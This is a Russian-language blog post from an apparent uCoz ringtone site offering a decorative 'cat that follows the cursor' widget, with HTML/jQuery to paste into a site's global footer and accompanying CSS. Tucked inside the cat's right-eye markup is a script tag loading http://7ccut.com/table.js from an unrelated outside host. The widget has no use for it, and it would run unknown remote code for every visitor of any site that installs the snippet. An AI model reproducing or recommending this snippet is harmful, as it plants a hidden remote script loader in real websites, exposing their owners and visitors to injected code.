Кот на сайт для uCoz - 25 Января 2014 - MP3 рингтоны новинки хит парадов

 

Рингтоны Шансон Relax Rock классика Pop 70-90 Новинки России и Украины Новинки Европы и Америки Новинки Dubstep Клубные Хиты Instrumental Золотые хиты Mp3 минуса
| newhit.org - лучшие MP3 новинки хит парадов бесплатно | Главная | Регистрация | Вход |Приветствую Вас Гость | RSS
Меню сайта

Категории раздела
Новости сайта [20]
Скрипты для UCOZ [14]

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0


Главная » 2014 » Январь » 25 » Кот на сайт для uCoz
17:43
Кот на сайт для uCoz
Появление персонажей на сайте – не редкость, особенно популярно украшать сайты кошками, которые следят за перемещением курсора, а некоторые даже пытаются поймать курсор. Был у нас и такой. Этого кота можно установить на любой сайт, сделанном на uCoz. Он будет скромно наблюдать за действиями пользователей на сайте. Когда пользователь наведет курсор на кота, он будет застенчиво улыбаться и смотреть вверх.
Установка

Вставьте в Нижнюю часть сайта или в любой другой глобальный блок:

Код
<div id="cat">
  <div class="cat-paws"></div>
  <div class="cat-itself-wrap">
  <div class="cat-itself">
  <div id="cat-eye-left" class="cat-eye">
  <div class="cat-eyeball"></div>
  </div>
  <div id="cat-eye-right" class="cat-eye">
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <div class="cat-eyeball"></div>
  </div>
  </div>
  </div>
  </div>
  </div>
  </div>
<script>
  $(function() {
  var el1 = $('#cat-eye-left'), eyeBall1 = el1.find('div');
  var el2 = $('#cat-eye-right'), eyeBall2 = el2.find('div');
  el1.show();
  el2.show();
  var x1 = el1.offset().left + 37, y1 = el1.offset().top + 15;
  var r = 6, x , y, x2, y2, isEyeProcessed = false;
  $('body').mousemove(function(e) {
  if (!isEyeProcessed) {
  isEyeProcessed = true;
  var x2 = e.pageX, y2 = e.pageY;
   
  y = ((r * (y2 - y1)) / Math.sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1))) + y1;
  x = (((y - y1) * (x2 - x1)) / (y2 - y1)) + x1;
   
  eyeBall1.css({
  marginTop: (y - y1 + 1) + 'px',
  marginLeft: (x - x1) + 'px'
  });
  eyeBall2.css({
  marginTop: (y - y1 - 1) + 'px',
  marginLeft: (x - x1) + 'px'
  });
  isEyeProcessed = false;
  }
  });
   
  $('#cat').mousemove(function(e) {
  e.stopPropagation();
  return false;
  });
   
  });
  </script>


Вставьте следующий код в Таблицу стилей (CSS):

Код
#cat {
  position: fixed;
  right: 80px;
  bottom: 0;
  width: 146px;
  height: 55px;
}
#cat:hover .cat-itself {
  height: 103px;
}
#cat:hover .cat-eye {
  display: none !important;
}
.cat-paws {
  position: absolute;
  right: 0;
  bottom: -4px;
  width: 132px;
  height: 33px;
  z-index: 2;
  background: url(http://pnghosts.ru/img/cat-paws.png) no-repeat right bottom;
}
.cat-itself-wrap {
  position: absolute;
  width: 100%;
  height: 100%;
  z-index: 1;
}
.cat-itself {
  position: absolute;
  left: 0;
  bottom: 0;
  width: 125px;
  height: 55px;
  z-index: 0;
  background: url(http://pnghosts.ru/img/cat-itself.png) no-repeat;
  -webkit-transition: all 0.1s 0.1s ease-out;
  transition: all 0.1s 0.1s ease-out;
}
.cat-eye {
  position: absolute;
  display: none;
  width: 28px;
  height: 28px;
  background: url(http://pnghosts.ru/img/cat-eye.png);
}
.cat-eyeball {
  position: absolute;
  left: 7.5px;
  top: 7.5px;
  width: 13px;
  height: 13px;
  background: url(http://pnghosts.ru/img/cat-eyeball.png);
}
#cat-eye-left {
  left: 25px;
  top: 23px;
}
#cat-eye-right {
  left: 74px;
  top: 26px;
}
Категория: Новости сайта | Просмотров: 57 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Форма входа

Народные Хиты
 
Народный Хит парад
Народный Хит онлайн
Народный Хит парад
Григорий Лепс
Народный Хит парад
Таисия Повалий
Народный Хит парад
Стас Михайлов
Народный Хит парад
Народный Хит Парад
Народный хит парад


Поиск

Календарь
«  Январь 2014  »
ПнВтСрЧтПтСбВс
  12345
6789101112
13141516171819
20212223242526
2728293031

Архив записей

Друзья сайта
Наши друзья
  • хит парад 2014 2015
  • трансферы в Париже
  • презентация онлайн
  • Караоке в Севастополе
  • экскурсии в Париже
  • анимационные открытки
  • бесполезные лекарства


  • Copyright MyCorp © 2017

    Сделать бесплатный сайт с uCoz